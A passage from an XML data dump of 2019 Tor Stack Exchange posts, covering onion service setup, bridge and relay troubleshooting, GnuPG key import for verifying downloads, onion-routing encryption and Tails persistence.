4.0" />
  <row Id="20327" PostTypeId="2" ParentId="20322" CreationDate="2019-09-24T21:10:01.970" Score="1" Body="&lt;p&gt;Most of these questions are far too broad, but I'll do my best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting an onion service is easy. You install the Tor service, tell it to use port 80, get your new onion address and start a web server.  That's easy.  &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-onion-service.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is the official guide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if there is an extising guide from buying the server through to server&#xA;  coding and other softwhere pointers?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is probably not a guide written for that. The reason why is because most (though probably not all) people who set up stores on onion services tend to sell illegal things. You can image that people like that are not likely to advertise how they did it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet is to take it slowly piece by piece. Create your first onion service on a home computer. Take time to read up on how to harden a web server and best practices for creating onion services. Don't expect an easy step 1, step 2, step 3 guide. If you want a successful onion service, it takes time, planning, and understanding.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Should I use laravel or would it have to coding from scratch?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is laravel a safe framework for building online stores in general?&#xA;Can it be security hardened?&#xA;You can use any programming language, framework, or platform that you want. It all depends on whether it is a good fit for what you want to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any specific questions, there is a &lt;a href=&quot;https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-onions/&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor-onions mailing list&lt;/a&gt;. Nobody will tell you step by step on how to do everything, but if you have specific questions it is a fantastic resource.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-09-24T21:10:01.970" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20333" PostTypeId="2" ParentId="20270" CreationDate="2019-09-25T22:48:54.493" Score="0" Body="&lt;p&gt;My understanding is the HSDir is stored in a &quot;Distributed Hash Table&quot; (DHT) (google the phrase). Is keeps the information spread between a number of DHTs. The active members change daily(?).&#xA;The minimum number of needed members for the DHT pool as something I am trying to learn.&lt;/p&gt;&#xA;" OwnerUserId="27817" LastActivityDate="2019-09-25T22:48:54.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20336" PostTypeId="1" CreationDate="2019-09-27T01:03:01.650" Score="0" ViewCount="2559" Body="&lt;p&gt;Running 64-bit Linux Mint 19.1, Cinnamon 4.0.10, on 2.4GHz Intel Q6600 quad core w/8GB of RAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TOR browser was taking 10-15 minutes to load so I followed TOR's instructions and deleted the folder &quot;tor-browser_en-US&quot;, then reinstalled from CLI using &lt;code&gt;sudo apt install -y torbrowser-launcher&lt;/code&gt;.  Not only did it still take &gt;10 minutes to load, it came back with all my previous add-ons and settings.  Something else obviously needed to be deleted so I deleted every directory or file I could find related to Tor (with the exception of &quot;non-operational&quot; files like icons and such).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That went on for quite a while and when I was satisfied I'd done all the damage I could, I tried reinstalling.  Then I got this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt install -y torbrowser-launcher&#xA;Reading package lists... Done&#xA;Building dependency tree      &#xA;Reading state information... Done&#xA;torbrowser-launcher is already the newest version (0.2.9-2).&#xA;0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It says it's installed so I tried launching it, and got this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ torbrowser-launcher %u&#xA;Command 'torbrowser-launcher' not found, but can be installed with:&#xA;sudo apt install torbrowser-launcher&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Except that's the command I already ran.  But sure enough, &quot;which torbrowser-launcher&quot; returns no response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So apparently I've deleted enough files to prevent it launching but not enough files to give it to understand it's uninstalled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to proceed?&lt;/p&gt;&#xA;" OwnerUserId="23221" LastEditorUserId="5234" LastEditDate="2019-10-08T23:45:01.373" LastActivityDate="2019-10-08T23:45:01.373" Title="How to delete Tor browser from Linux mint?" Tags="|linux|tor-install|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20337" PostTypeId="1" CreationDate="2019-09-27T10:59:49.173" Score="1" ViewCount="75" Body="&lt;p&gt;I want to compartmentalize my digital activity dividing business, social, and general browsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to use VPN because even if I pay, there is still an option for my data to be used the way I don't want. So instead of trusting a VPN it's better to use different tor exit nodes at least to split and distribute the whole picture, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can I use different tor settings for each compartment? Basically I just need 3 different sets of exit nodes for each compartment and 3 browsers (I consider using different Firefox profiles with extensions for business and social domains and stock tor browser for surfing). As you can deduce I will login to accounts in the first 2 domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't run Qubes OS on my hardware, it's just doesn't work, I've tried. I am an average Linux user.&lt;/p&gt;&#xA;" OwnerUserId="30133" OwnerDisplayName="Tom key" LastEditorUserId="14997" LastEditDate="2019-12-23T07:22:30.223" LastActivityDate="2020-04-24T19:02:30.090" Title="Different Tor bundle settings for different browsers" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20338" PostTypeId="1" CreationDate="2019-09-27T17:05:13.310" Score="0" ViewCount="321" Body="&lt;p&gt;I set up a bridge at home on my Raspberry Pi (Raspbian Buster) using &lt;a href=&quot;https://community.torproject.org/relay/setup/bridge/&quot; rel=&quot;nofollow noreferrer&quot;&gt;these instructions&lt;/a&gt;, and I believe everything is configured correctly... But there is no activity in or out of my bridge. Here's some messages I am seeing:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;16:31:26 [NOTICE] Heartbeat: In the last 6 hours, I have seen 0 unique clients. [2 duplicates hidden]&lt;/p&gt;&#xA;&lt;p&gt;16:31:26 [NOTICE] Heartbeat: Tor's uptime is 17:59 hours, with 0 circuits open. I've sent 6.18 MB and received 25.58 MB. [2 duplicates hidden]&lt;/p&gt;&#xA;&lt;p&gt;16:04:28 [NOTICE] Performing bandwidth self-test...done.&lt;/p&gt;&#xA;&lt;p&gt;13:10:43 [NOTICE] No circuits are opened. Relaxed timeout for circuit 408 (a Testing circuit 3-hop circuit in state doing handshakes with channel state open) to 60000ms. However, it appears the circuit has timed out&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I know bridges don't see as much activity but is this abnormal? Also since I am behind a router, specifically what ports would have to be forwarded?&lt;/p&gt;&#xA;" OwnerUserId="22285" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2022-02-14T02:00:08.547" Title="No connections to bridge" Tags="|bridge|raspberry-pi|raspbian|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20339" PostTypeId="2" ParentId="20338" CreationDate="2019-09-27T20:55:14.467" Score="0" Body="&lt;p&gt;Here are the instructions for debian:&#xA;&lt;a href=&quot;https://community.torproject.org/relay/setup/bridge/debian-ubuntu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.torproject.org/relay/setup/bridge/debian-ubuntu/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About ports, it says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Don't forget to change the ORPort, ServerTransportListenAddr,&#xA;  ContactInfo, and Nickname options.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you decide to use a fixed obfs4 port smaller than 1024 (for example&#xA;  80 or 443), you will need to give obfs4 CAP_NET_BIND_SERVICE&#xA;  capabilities to bind the port with a non-root user:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;sudo setcap cap_net_bind_service=+ep /usr/bin/obfs4proxy&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Pretty much, pick a port and make sure that it is open on your router.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorRelayGuide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Relay Guide&lt;/a&gt; we see:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The IPv4 address is not required to be static but static IP addresses&#xA;  are preferred. Your IPv4 address should remain unchanged for at least&#xA;  3 hours (if it regularly changes more often than that, it does not&#xA;  make much sense to run a relay or bridge there since it takes time to&#xA;  distribute the new list of relay IPs to clients - which happens only&#xA;  once every hour).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;also, check &lt;a href=&quot;https://metrics.torproject.org/rs.html#search&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for your bridge. Do you see any errors or warnings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, there is a &lt;a href=&quot;https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays/&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor-relays&lt;/a&gt; mailing list with other people who are running relays, bridges, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorRelayGuide&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/TorRelayGuide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-09-27T20:55:14.467" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20340" PostTypeId="1" CreationDate="2019-09-27T22:15:09.320" Score="0" ViewCount="154" Body="&lt;p&gt;(BLUF) How many relays are needed to create a workable TOR Distributed Hash Table?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My original question was &quot;what would cause the TB to log a valid HS name to be &quot;invalid&quot; and &quot;rejected&quot;. After reading about the steps involved with connecting to an HS; I realized I probably do not have a sufficient number of stable relays to create the DHT. So the HS name could not be looked up in the DHT. I have an isolated research TOR with 3 DAs and 40 relays, a few of each type. &lt;/p&gt;&#xA;" OwnerUserId="27817" LastActivityDate="2022-02-14T23:08:20.890" Title="Distributed Hash Table DHT minimum relays needed" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20341" PostTypeId="1" CreationDate="2019-09-28T15:40:53.243" Score="0" ViewCount="121" Body="&lt;p&gt;So I compiled Tor from source using &lt;a href=&quot;https://2019.www.torproject.org/docs/debian.html.en#source&quot; rel=&quot;nofollow noreferrer&quot;&gt;these instructions&lt;/a&gt; and everything went smoothly. However, when I look in /debian-packages/ there are three .deb files, which are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;tor_0.4.1.6-1~d9.stretch+1_armhf.deb&lt;/li&gt;&#xA;&lt;li&gt;tor-dbgsym_0.4.1.6-1~d9.stretch+1_armhf.deb&lt;/li&gt;&#xA;&lt;li&gt;tor-geoipdb_0.4.1.6-1~d9.stretch+1_all.deb&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Which of these do I use to install Tor?&lt;/p&gt;&#xA;" OwnerUserId="22285" LastActivityDate="2019-09-28T19:22:28.780" Title="Compiling Tor from source" Tags="|tor-install|source-code|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20342" PostTypeId="1" CreationDate="2019-09-28T16:12:12.643" Score="0" ViewCount="380" Body="&lt;p&gt;I'm a newbie in the Tor world. I was just thinking of running a relay server... The fact is that I know some sites like Netflix, Disney and others just block all the relays IPs that are posted on the TOR Relays List. So I thought I could use a proxy to camouflage the relay server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spent some time thinking about this, I realized that I have to use a SOCKS proxy that Clients or Guard nodes see in the Tor list as public IP, and the request is transferred to the actual relay server so it can connect to the exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me? I'm running the relay (now is a bridge for test while I don't have an IP SOCKS) on Ubuntu GNU/Linux &lt;/p&gt;&#xA;" OwnerUserId="27828" LastActivityDate="2022-09-18T05:34:17.040" Title="Tor relay server behind proxy" Tags="|proxy|socks|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20344" PostTypeId="2" ParentId="20342" CreationDate="2019-09-28T19:24:56.037" Score="0" Body="&lt;p&gt;Well, if your socks proxy is allowing you to open a port to listen, then it's fine. Otherwise it's not a vital case. If you need further help don't hesitate to contact me! I'll be glad to help!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2019-09-28T19:24:56.037" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20345" PostTypeId="2" ParentId="20340" CreationDate="2019-09-28T19:27:42.047" Score="0" Body="&lt;p&gt;Looks like you have enough amount of nodes, so you better start them &lt;em&gt;all&lt;/em&gt; in debugging and verbose mode - asmy experiments showed, you need 3 DAs and at least 16 guards and 16 regular nodes&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2019-09-28T19:27:42.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20348" PostTypeId="2" ParentId="20313" CreationDate="2019-09-30T07:41:04.320" Score="2" Body="&lt;p&gt;No, this would not make Tor any better. This is why.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;A bridge relay is your guard entry to the Tor network. What happens after that node is not your concern. Even if your country blocks all relay nodes the bridge takes you outside the country and from there on it has no problem connecting to other relays. As long as not the entire world is blocking Tor nodes it won't be needed to hide all nodes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your client is the one creating the routes. When your client creates a route (and thus selecting a guard, middle and exit node) it retrieves a list of nodes from the directory service. If all of those nodes would be bridges then by default you would need a large list of bridges to create an anonymous route. If all clients would retrieve a large list of bridges then it won't take long for an attacker to get a list of ALL bridges making them absolutely useless.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bridges have dis-benefits. They don't have a family parameter so the same family could be running your entire route. Your anonymity could be at stake. They also cannot run a hidden service directory which means that running anonymous websites on Tor would stop functioning.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So no, making all nodes bridges is not better. It would destroy the Tor network as we know it.&lt;/p&gt;&#xA;" OwnerUserId="14301" LastActivityDate="2019-09-30T07:41:04.320" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20349" PostTypeId="1" CreationDate="2019-09-30T08:32:52.563" Score="1" ViewCount="210" Body="&lt;p&gt;When the clients sends a packet through relay nodes, is each packet signed then encrypted? If so, how do the relay nodes know the client's static public key to check the signature, as knowing this would give the other relay nodes knowledge of the who the client is. If the packets aren't signed, then can any packets have their authenticity proved?&lt;/p&gt;&#xA;" OwnerUserId="27663" LastActivityDate="2020-08-05T17:03:20.323" Title="Are packets signed before encryption in Tor?" Tags="|authentication|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20351" PostTypeId="1" AcceptedAnswerId="20352" CreationDate="2019-09-30T22:12:56.577" Score="3" ViewCount="2289" Body="&lt;p&gt;I'm attempting to install Tor, but I can't get the signing key to verify the download.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gpg --auto-key-locate nodefault,wkd --locate-keys torbrowser@torproject.org&#xA;gpg: invalid auto-key-locate list&#xA;gpg: Invalid option &quot;--locate-keys&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ubuntu 16.04 LTS&#xA;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="27839" LastActivityDate="2019-10-09T05:53:32.337" Title="gpg: invalid auto-key-locate list" Tags="|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20352" PostTypeId="2" ParentId="20351" CreationDate="2019-09-30T23:59:24.887" Score="3" Body="&lt;p&gt;There are two versions of the &lt;code&gt;gpg&lt;/code&gt; command available in Ubuntu 16.04, in separate packages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;gnupg&lt;/code&gt;, which is GnuPG version 1.4.20; and&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;gnupg2&lt;/code&gt;, which is GnuPG version 2.1.11.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;--locate-keys&lt;/code&gt; option was added in 2.0.10, as was the &lt;code&gt;nodefault&lt;/code&gt; value for &lt;code&gt;--auto-key-locate&lt;/code&gt;.  Given that you're unable to use the &lt;code&gt;--locate-keys&lt;/code&gt; option, I strongly suspect that the version of GnuPG you're running is version 1.4.20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To run the newer version of GnuPG on an Ubuntu 16.04 system, you need to install the &lt;code&gt;gnupg2&lt;/code&gt; package, and use the &lt;code&gt;gpg2&lt;/code&gt; command rather than &lt;code&gt;gpg&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, WKD support was added &lt;a href=&quot;https://github.com/gpg/gnupg/commit/87de9e19edf0311ca0342e15ef44ebe40e32861e&quot; rel=&quot;nofollow noreferrer&quot;&gt;in GnuPG 2.1.12&lt;/a&gt;, which means that even using &lt;code&gt;gpg2&lt;/code&gt; you won't be able to run the command given on the Tor project webpage.  However...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The WKD protocol is a public one, and via the magic of &lt;a href=&quot;https://keyserver.mattrude.com/guides/web-key-directory/&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorials like this one&lt;/a&gt; I've figured out that the key you need can be downloaded via HTTPS.  Thus, the complete command you can use (which should, I &lt;em&gt;think&lt;/em&gt;, work even in GnuPG 1.4.20) looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wget -O - https://openpgpkey.torproject.org/.well-known/openpgpkey/hu/kounek7zrdx745qydx6p59t9mqjpuhdf | gpg --import&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27799" LastEditorUserId="27799" LastEditDate="2019-10-09T05:53:32.337" LastActivityDate="2019-10-09T05:53:32.337" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="20353" PostTypeId="1" CreationDate="2019-10-01T12:38:40.737" Score="0" ViewCount="76" Body="&lt;p&gt;I want to make a program that will use new circuit for each request (even if the requests are parallel) to avoid linkability. Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="7813" LastActivityDate="2019-10-03T18:20:50.093" Title="Is it possible to make a program that will use different circuit for each request? Even if the requests are parallel?" Tags="|circuit|unlinkability|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20354" PostTypeId="2" ParentId="20353" CreationDate="2019-10-01T17:43:39.507" Score="3" Body="&lt;p&gt;I don't think so, at least natively. Looking at the &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual for Tor&lt;/a&gt;, it doesn't look like there is any kind of functionality built in that would allow you to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically, you could do something with Docker containers. Spin up a new instance of Tor itself in a container with every new request but then you would need something to trigger the new instance and then switch you to it automatically. It would be really janky, slow, and it might look like you are running a botnet. If Tor has any kind of bot protection, this is the kind of thing it might be looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I honestly can't think of a good use case for this because it would not conceal your identify any better because Tor already changes your path automatically every 10 minutes. You can try contacting the developers directly through one of the mailing lists if you have specific technical questions.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-10-01T17:43:39.507" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20355" PostTypeId="2" ParentId="20349" CreationDate="2019-10-01T18:08:29.937" Score="0" Body="&lt;p&gt;This is a rather complex question. The super-simplistic answer is that you and the guard node each make 1/2 of a key that is then used to encrypt/decrypt traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK for the real answer, read section &lt;strong&gt;4.2  Circuits and streams&lt;/strong&gt; of the &lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor design paper&lt;/a&gt;. It's pretty dense and takes time to wrap your head around, just FYI, but it should give you all of the info that you need.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-10-01T18:08:29.937" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20356" PostTypeId="1" CreationDate="2019-10-02T01:10:45.657" Score="1" ViewCount="149" Body="&lt;p&gt;As there isn't a Tor Browser Bundle or TAILS version packaged for the Raspberry Pi, I would like to setup a standard Raspbian install to work as closely as possible to, if not exactly like TAILS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So besides&#xA;    -Changing the default pi password&#xA;    -Disabling root &amp;amp; pi login&#xA;    -Installing tor and configuring the browser's proxy to pass all traffic through tor.&#xA;   -Disabling unnecessary programs/services that might be listening/waiting for a connection.&#xA;   -Spoofing the NIC MAC Addresses.&#xA;what else can I do to configure Raspbian to work more like TAILS?&lt;/p&gt;&#xA;" OwnerUserId="22695" LastActivityDate="2019-10-02T06:44:38.600" Title="How do I configure Raspbian to work like TAILS?" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20357" PostTypeId="2" ParentId="20356" CreationDate="2019-10-02T06:44:38.600" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/GouveaHeitor/nipe&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; can theoretically do it for you but I haven't personally tried it. If you don't know how to troubleshoot networking issues, you might now want to just run Firefox + Tor to make your own Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've got the tech savvy to try it, first start off with just Firefox + Tor on your RPI. From another computer on your network, set up Wireshark and look at the kind of traffic that the RPI is generating, especially DNS requests. You shouldn't see any coming from Firefox but you should see some coming from things like apt-get when you do updates/installs. After you set up nipe, keep testing. You should stop seeing anything that isn't going through Tor. If you do, make sure that you set it up correctly and if it still happens then there is a problem and you should put in a bug with them.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-10-02T06:44:38.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20358" PostTypeId="2" ParentId="20349" CreationDate="2019-10-02T09:20:31.627" Score="0" Body="&lt;p&gt;You're asking how Tor works in a few simple lines. It takes a long answer and knowledge of the Tor network itself to understand how this works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; The client knows the public key for the nodes he communicates with. The node can decrypt with his own private key and doesn't know anything about the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Longer answer&lt;/strong&gt;: When a Tor client wants to send a data package it needs a route. This route contains a guard node, middle node and an exit node. The client generates this route by himself with the data he received from the directory service. This directory service also sends along the public keys for all the nodes he communicates with the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the client wants to send a data package it encrypts the package 3 times. Once with the exit node's public key, once with the middle node's public key and once with the guard node's public key. When the guard node receives the package it decrypts it with his private key, then sends it to the middle relay. The middle relay decrypts the next layer of encryption with his private key and sends the package to the exit node. The exit node decrypts the last encryption layer with his private key and sends the unencrypted package to its final destination. It all works like the layers of an onion. That's why Tor's name is actually The Onion Router.&lt;/p&gt;&#xA;" OwnerUserId="14301" LastActivityDate="2019-10-02T09:20:31.627" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20359" PostTypeId="1" CreationDate="2019-10-02T16:29:18.370" Score="1" ViewCount="389" Body="&lt;p&gt;I am currently running a Tor relay (guard) to help the Tor network. After a while I realised that I can actually get an T-Shirt for running an relay more than two months. (&lt;a href=&quot;https://2019.www.torproject.org/getinvolved/tshirt.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two questions about this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Does Tor still do this? (Do they send T-shirts for running a relay)&lt;/li&gt;&#xA;&lt;li&gt;&quot;Two months&quot; means two months of uptime? Or it does mean two months since appearing? (But overall the uptime is good)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="27845" LastActivityDate="2019-10-02T22:16:53.447" Title="T-Shirt reward requirements" Tags="|relays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20360" PostTypeId="2" ParentId="20359" CreationDate="2019-10-02T16:58:53.820" Score="1" Body="&lt;p&gt;Email tshirt@torproject.org and ask directly. While people from the Tor Project often look at stackexchange it's always best to just ask directly if there is a contact method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, the page does not mention an expiration date though I can tell you there was a contest last month for creating bridges that has expired. Your best option really is to ask.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-10-02T16:58:53.820" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20361" PostTypeId="2" ParentId="20359" CreationDate="2019-10-02T22:16:53.447" Score="1" Body="&lt;p&gt;I got a t-shirt last month :) So to answer your first question, yes I believe they still do it. Regarding your second question I'm fairly certain, based on a previous email conversation I had with them, that you need to keep up the speed for the duration. I could be wrong however because their manual also recommends a shorter uptime (in days) if that means a higher bandwidth on your relay, versus uptime of an entire month at the cost of bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a relay operator I, too, thank you for joining :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a guide on how to run a relay as a docker container by the way, if you're interested.&lt;/p&gt;&#xA;" OwnerUserId="459" LastActivityDate="2019-10-02T22:16:53.447" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20363" PostTypeId="1" CreationDate="2019-10-03T06:51:50.220" Score="0" ViewCount="533" Body="&lt;p&gt;I want to be a tor exit node, I have mentioned &quot;ExitRelay1&quot; but nyx shows ExitPolicy as reject. I don't understand the torrc code at all. Pls help me out.&#xA;My internal port 443 is forwarded to port 7372 on my external IP. How can I configure tor to use these ports for its exit node? Pls someone write the codes&lt;/p&gt;&#xA;" OwnerUserId="27853" LastActivityDate="2022-06-14T10:58:14.100" Title="TOR EXIT NODE PORT" Tags="|exit-relays|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20364" PostTypeId="1" AcceptedAnswerId="20367" CreationDate="2019-10-03T12:41:33.920" Score="0" ViewCount="151" Body="&lt;p&gt;Is it safe to download Kismet for Tails OS? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, how do you store that software considering everytime you close Tails it wipes everything clean for the next time you boot up?&lt;/p&gt;&#xA;" OwnerUserId="27851" LastActivityDate="2019-10-04T07:35:45.987" Title="How to download kismet for Tails OS?" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20367" PostTypeId="2" ParentId="20364" CreationDate="2019-10-04T07:35:45.987" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If so, how do you store that software considering everytime you close&#xA;  Tails it wipes everything clean for the next time you boot up?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Install Tails on a USB stick using &lt;a href=&quot;https://tails.boum.org/install/linux/clone-overview/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;2 USB keys&lt;/a&gt;. Once it is installed you can set up persistent storage so when you install software. The next time you reboot, it will automatically reinstall it for you and your saved files are saved in the &lt;a href=&quot;https://tails.boum.org/doc/first_steps/persistence/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;encrypted filesystem&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just &lt;code&gt;apt-get install kismet&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it safe? It probably isn't going to harm your anonymity but since nobody has reported using it on the Tails website, you can take that as being pretty much untested.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-10-04T07:35:45.987" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
